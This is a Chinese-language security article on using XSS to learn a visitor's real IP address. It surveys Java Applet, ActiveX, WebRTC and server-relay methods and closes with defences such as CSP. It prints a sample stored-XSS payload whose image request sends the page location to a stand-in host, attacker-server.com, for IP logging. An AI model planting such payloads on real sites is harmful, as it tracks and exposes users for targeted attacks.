如何利用XSS获取用户真实IP？

当安全人员讨论XSS漏洞的危害时，Cookie劫持和钓鱼攻击往往占据了舞台中央。然而，一个更隐蔽、更具穿透力的攻击维度常被低估：通过XSS漏洞获取用户的真实IP地址。这远不止是一个“知道你在哪”的把戏，它能为后续精准的网络攻击撕开关键的口子。

为什么IP地址如此诱人？

用户的真实IP，特别是局域网出口的公网IP，是其在互联网上的直接身份标识。获取它意味着攻击者可以绕过基于会话（如Cookie）的身份验证，直接定位到用户所在的网络环境。这对于发起定向的端口扫描、社会工程学攻击（例如结合IP归属地进行欺诈），或绕过某些基于IP的访问控制策略至关重要。在某些混合攻击场景中，IP地址是拼图中不可或缺的一块。

传统方法的局限与突破

纯粹依靠JavaScript本身，由于浏览器沙箱和安全策略（如WebRTC的隐私限制日益严格），直接获取本地局域网IP或精确公网IP已变得困难。攻击者的思路因此转向“借力打力”——利用受害者浏览器环境中已安装的、权限更高的第三方插件或组件。

核心攻击路径：客户端环境探测与接口调用

攻击能否成功，很大程度上取决于对受害者客户端环境的精准判断和利用。主要有以下几种技术路径：

• Java Applet 接口调用：这是经典但逐渐过时的方法。如果用户安装了旧版本的Java运行时环境（JRE）且未做严格安全设置，恶意脚本可以通过java.net.InetAddress.getLocalHost().getHostAddress()这类调用，直接获取本地IP。攻击脚本需要探测Java可用性并尝试实例化Applet。
• 利用ActiveX控件：在特定历史版本的Internet Explorer环境下，某些具有网络权限的ActiveX控件（如某些旧版迅雷组件）可能暴露系统信息接口。攻击者通过JavaScript尝试创建这些控件对象，成功则调用其方法获取IP。
• 转向服务端中继：当直接获取困难时，更通用的方法是“诱导浏览器主动暴露”。攻击者注入的脚本会强制浏览器向一个由攻击者控制的服务器发起请求（如图片、脚本加载）。这个请求的HTTP头中会自动包含客户端的X-Forwarded-For或连接本身的源IP。尤其是在用户处于复杂代理或CDN后方时，精心构造的请求可能揭示出更接近真实的源头IP。
• WebRTC的残留可能：尽管现代浏览器默认限制了WebRTC泄露局域网IP，但在某些特定配置或旧版浏览器中，通过RTCPeerConnection接口获取ICE候选信息，仍然可能析出内网IP地址，这对内网横向移动有参考价值。

一个简化的攻击示例

假设存在一个存储型XSS漏洞，攻击者可以留下如下载荷：

<script>
// 尝试通过向攻击者服务器发起请求来携带IP信息
var img = new Image();
img.src = 'https://attacker-server.com/log?data=' + encodeURIComponent('潜在IP泄露点') + '&ref=' + encodeURIComponent(document.location);
// 服务器端(attacker-server.com)的日志会记录下请求的来源IP
</script>

这个简单的脚本会触发一个对攻击者域外的请求，其访问日志自然包含了请求者的IP。更复杂的载荷会结合多种探测方法，并优雅地处理错误，避免引起用户警觉。

防御视角：不只是过滤脚本标签

从防御角度看，防止通过XSS获取IP，根本在于杜绝XSS的发生。但更深一层，需要意识到：

• 严格的内容安全策略（CSP）：有效阻止脚本向未授权的域外发送数据，切断IP信息回传通道。
• 客户端插件管理：推动淘汰或严格安全配置Java、ActiveX等老旧高危插件，从环境上消除攻击面。
• 输入输出过滤与编码：这永远是基石，确保用户输入不被执行为脚本。

安全就像一场猫鼠游戏。攻击者在Cookie之外找到了IP这个新的杠杆点，而防御者需要将防线从页面逻辑延伸到客户端的整个运行时生态。理解这种攻击手法的原理，不是为了效仿，而是为了在构建数字世界时，提前堵上那些容易被忽略的缝隙。